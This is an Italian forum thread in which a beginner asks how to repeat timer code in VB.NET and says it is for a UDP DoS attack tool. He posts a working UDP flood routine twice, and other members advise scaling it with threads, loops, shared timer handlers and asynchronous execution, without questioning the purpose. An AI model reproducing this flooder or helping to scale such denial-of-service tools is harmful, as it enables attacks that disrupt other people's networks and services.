• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Problema risolto ripetere lo stesso codice senza fare copia incolla!!!

megainter97

Utente Attivo
Autore del topic
21 Febbraio 2011
452
56
Miglior risposta
0
ciao a tutti il mio problema è il seguente : sto facendo un programma , @Jakub1996 sai qual è ,dove devo ripetere quasi sempre lo stesso codice c'è qualche metodo per far si che inserendo un codice ( sicuramente piu piccolo di quello che devo mettere io ) lo inserisca sempre???

ad esempio devo metterlo sempre in un timer c'è qualche modo per far capire che se c'è un timer senza codice inserito automaticamente si inserisca quello???? oppure si potrebbe fare che lo metto in uno solo e poi rendo uguali gli altri timer a quello con il codice?? se si come?? attendo risposte a presto e ciaoooooooo
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

@megainter97
Non potresti semplicemente richiamare sempre lo stesso Timer ?
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Dovresti descrivere la funzione del software e soprattutto quella del timer, cosìcché ti si possa aiutare meglio.

in pratica sto tentando di far un programma che effettui attacchi DoS udp e devo ripetere il codice del timer come devo fare??
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Non puoi creare un ciclo nel timer ?
come scusa non sto capendo potresti dirmi come????? grazie in anticipo intanto ti do grazie gia da ora per la reputazione quanto ottengo la risposta la aumento :emoji_slight_smile:

xD non me la fa aumentare con sciax2 nuovo non mi trovo aumento direttamente rep sperando in una risposta dopo :emoji_slight_smile:
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

come scusa non sto capendo potresti dirmi come????? grazie in anticipo intanto ti do grazie gia da ora per la reputazione quanto ottengo la risposta la aumento :emoji_slight_smile:

xD non me la fa aumentare con sciax2 nuovo non mi trovo aumento direttamente rep sperando in una risposta dopo :emoji_slight_smile:

Posta il codice del timer ed il codice che lo attiva [ con relativa routine ].
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Utilizza i Thread e ti togli il pensiero.
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try

ListBox1.Items.Add("attacco" + TextBox1.Text + "alla porta" + TextBox2.Text)
ListBox1.Items.Add(My.Computer.Info.AvailableVirtualMemory)
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, TextBox2.Text)
bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c​22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091​b970b1dcdba8b16c22fa1ab5e3d41091")
udpClient.Send(bytCommand, bytCommand.Length)
ListBox1.SelectedIndex += 1
Catch ex As Exception
Me.Close()
End Try
End Sub




per attivarlo faccio timer1.start()
e .stop() se lo voglio stoppa
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try

ListBox1.Items.Add("attacco" + TextBox1.Text + "alla porta" + TextBox2.Text)
ListBox1.Items.Add(My.Computer.Info.AvailableVirtualMemory)
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, TextBox2.Text)
bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c​22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091​b970b1dcdba8b16c22fa1ab5e3d41091")
udpClient.Send(bytCommand, bytCommand.Length)
ListBox1.SelectedIndex += 1
Catch ex As Exception
Me.Close()
End Try
End Sub


per attivarlo faccio timer1.start()
e .stop() se lo voglio stoppa


Dovresti indentare il codice. E' pressoché impossibile capirci qualcosa così.
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

cioè dovrei metterlo tutto??????


[OT]
Ti farò un semplice esempio utilizzando il PHP, dato che su Sciax2 ci sono i tag per il PHP.

Questo è un codice indentato :

PHP:
Perfavore, Entra oppure Registrati per vedere i codici!


Quest'altro non lo è :

PHP:
Perfavore, Entra oppure Registrati per vedere i codici!


Quale dei due è più comprensibile, secondo te ?
[/OT]

Scusate l'OT. Ma penso sia utile, e non solo a lui.
 
Ultima modifica:
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

[OT]
Ti farò un semplice esempio utilizzando il PHP, dato che su Sciax2 ci sono i tag per il PHP.

Questo è un codice indentato :

PHP:
Perfavore, Entra oppure Registrati per vedere i codici!


Quest'altro non lo è :

PHP:
Perfavore, Entra oppure Registrati per vedere i codici!


Quale dei due è più comprensibile, secondo te ?
[/OT]

Scusate l'OT. Ma penso sia utile, e non solo a lui.

se ho capito indentato significa tutto attaccato giusto ?? se è cosi sta tutto attaccato scusa la mia nabbezza :soso:
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Come già detto la scelta migliore sarebbe utilizzare i thread e crea una lista per gestirli. Altrimenti crei i timer a run time, difficile o, se proprio vuoi utilizzare i timer, creane quanti vuoi e poi utilizzali assieme:

Private Sub timer_tick (...) Handles timer1.tick,timer2.tick.timer3.tick...
'codice
End Sub
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

ma se uso un flood e metto lo stesso codice dentro un timer anziche creando piu timer è la stessa cosa di farne 100???? @Garu @InfernoHacker
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Imposta una variabile. Setta la variabile in modo tale che aumenti di 1 per ogni volta che si esegue il codice. Poni un valore limite per la variabile, al quale il codice terminerà la sua esecuzione, resettando la variabile per ri-iniziare da capo - se vuoi -.

Non c'è bisogno di conoscenze informatiche, basta un minimo di logica.
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Imposta una variabile. Setta la variabile in modo tale che aumenti di 1 per ogni volta che si esegue il codice. Poni un valore limite per la variabile, al quale il codice terminerà la sua esecuzione, resettando la variabile per ri-iniziare da capo - se vuoi -.

Non c'è bisogno di conoscenze informatiche, basta un minimo di logica.
okok dammi una mano su skype con teamviewer perchè non ho capito molto :emoji_slight_smile:
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

Altrimenti (più efficiente):

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

Nel secondo esempio il codice si ripeterà 10 volte ISTANTANEAMENTE. Nel primo, invece, il codice si ripeterà 10 volte intervallate dal periodo del tuo timer.
 
Riferimento: ripetere lo stesso codice senza fare copia incolla!!!

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

Altrimenti (più efficiente):

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

Nel secondo esempio il codice si ripeterà 10 volte ISTANTANEAMENTE. Nel primo, invece, il codice si ripeterà 10 volte intervallate dal periodo del tuo timer.


Utilizzando quel metodo provochi il blocco della form fino al completamento del ciclo, dovresti eseguirlo in asincrono